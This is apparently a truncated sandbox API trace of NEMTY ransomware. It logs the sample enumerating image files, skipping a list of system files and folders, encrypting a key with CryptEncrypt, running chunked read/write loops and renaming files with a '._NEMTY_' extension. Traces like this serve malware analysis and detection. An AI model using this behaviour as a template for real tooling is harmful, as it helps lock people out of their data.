lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0159.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0159.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_down_BIDI.png", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_down_BIDI.png", lpUsedDefaultChar=0x0) returned 24 [0159.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0159.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340230 [0159.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0159.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0159.064] Sleep (dwMilliseconds=0x5) [0159.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1275e990, dwHighDateTime=0x1d561e8)) [0159.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1275e990, dwHighDateTime=0x1d561e8)) [0159.071] GetLastError () returned 0x5 [0159.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0159.071] GetLastError () returned 0x5 [0159.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0159.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0159.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0159.071] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0159.071] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0159.071] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0159.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0159.072] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="5BFakrjdKzUbcNW/BUFfgFKRBCrFB3U/PLwScCO6qPARis3dsh6K5PRX2pgkWhaA\r\nznjvmIS5AZ18XfOmq/xw/KljfzqcV6vBwf5YFmCIl72jrED0B92H6hmTOmLD4lRd\r\nKVCNe3gT56GB2Sxn7fBxI9/SBjassjnokq1Z2p29jlNA2FcpwMLy4WTWJg4bG2Wm\r\ncjMRk7I+Dj1Z2LVb51Fz3LqC/t7ApX5M/STXgX345l17TBA9R4dPfmd6Z2rey/IJ\r\nfwwxgUW71rNP3mzsooGXT04cKPrSigwq6B2Ue6tQBbAFeuOK8RE2DxufiopOntp3\r\nM4dRf/6NE8uLvWoMkEUTzQ==\r\n", pcchString=0x653e91c) returned 1 [0159.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0159.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0159.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0159.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0159.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0159.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0159.072] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_down_BIDI.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_down_bidi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0159.073] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0159.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0159.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.073] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.082] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.082] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.091] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.091] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.101] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.101] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.110] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.129] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.138] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.147] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.147] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.166] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.166] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.172] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.172] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.178] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.178] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0159.178] CloseHandle (hObject=0xffffffff) returned 0 [0159.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340458 [0159.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0159.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0159.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0159.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0159.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0159.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340510 [0159.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0159.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340510 | out: hHeap=0x4f90000) returned 1 [0159.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0159.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_down_BIDI.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_down_bidi.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_down_BIDI.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_down_bidi.png._nemty_kgobjgd_")) returned 0 [0159.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0159.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0159.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0159.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0159.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0159.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0159.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0159.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0159.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0159.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.179] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8760b0e3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8760b0e3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af7a099, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xde7, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="btn_search_over.png", cAlternateFileName="")) returned 1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2=".") returned 1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="..") returned 1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="...") returned 1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="windows") returned -1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="$RECYCLE.BIN") returned 1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="rsa") returned -1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="NTDETECT.COM") returned -1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="ntldr") returned -1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="MSDOS.SYS") returned -1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="IO.SYS") returned -1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="boot.ini") returned 1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="boot.ini") returned 1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="AUTOEXEC.BAT") returned 1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="ntuser.dat") returned -1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="desktop.ini") returned -1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="CONFIG.SYS") returned -1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="RECYCLER") returned -1 [0159.179] lstrcmpiW (lpString1="btn_search_over.png", lpString2="BOOTSECT.BAK") returned 1 [0159.180] lstrcmpiW (lpString1="btn_search_over.png", lpString2="bootmgr") returned 1 [0159.180] lstrcmpiW (lpString1="btn_search_over.png", lpString2="programdata") returned -1 [0159.180] lstrcmpiW (lpString1="btn_search_over.png", lpString2="appdata") returned 1 [0159.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_over.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0159.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_over.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_over.png", lpUsedDefaultChar=0x0) returned 19 [0159.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0159.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_over.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0159.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_over.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_over.png", lpUsedDefaultChar=0x0) returned 19 [0159.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0159.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_over.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0159.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_over.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_over.png", lpUsedDefaultChar=0x0) returned 19 [0159.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_over.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0159.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0159.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_over.png", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_over.png", lpUsedDefaultChar=0x0) returned 19 [0159.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0159.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340230 | out: hHeap=0x4f90000) returned 1 [0159.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0159.180] Sleep (dwMilliseconds=0x5) [0159.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1288f490, dwHighDateTime=0x1d561e8)) [0159.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1288f490, dwHighDateTime=0x1d561e8)) [0159.196] GetLastError () returned 0x5 [0159.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0159.196] GetLastError () returned 0x5 [0159.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0159.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0159.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0159.196] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0159.196] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0159.196] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0159.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0159.196] 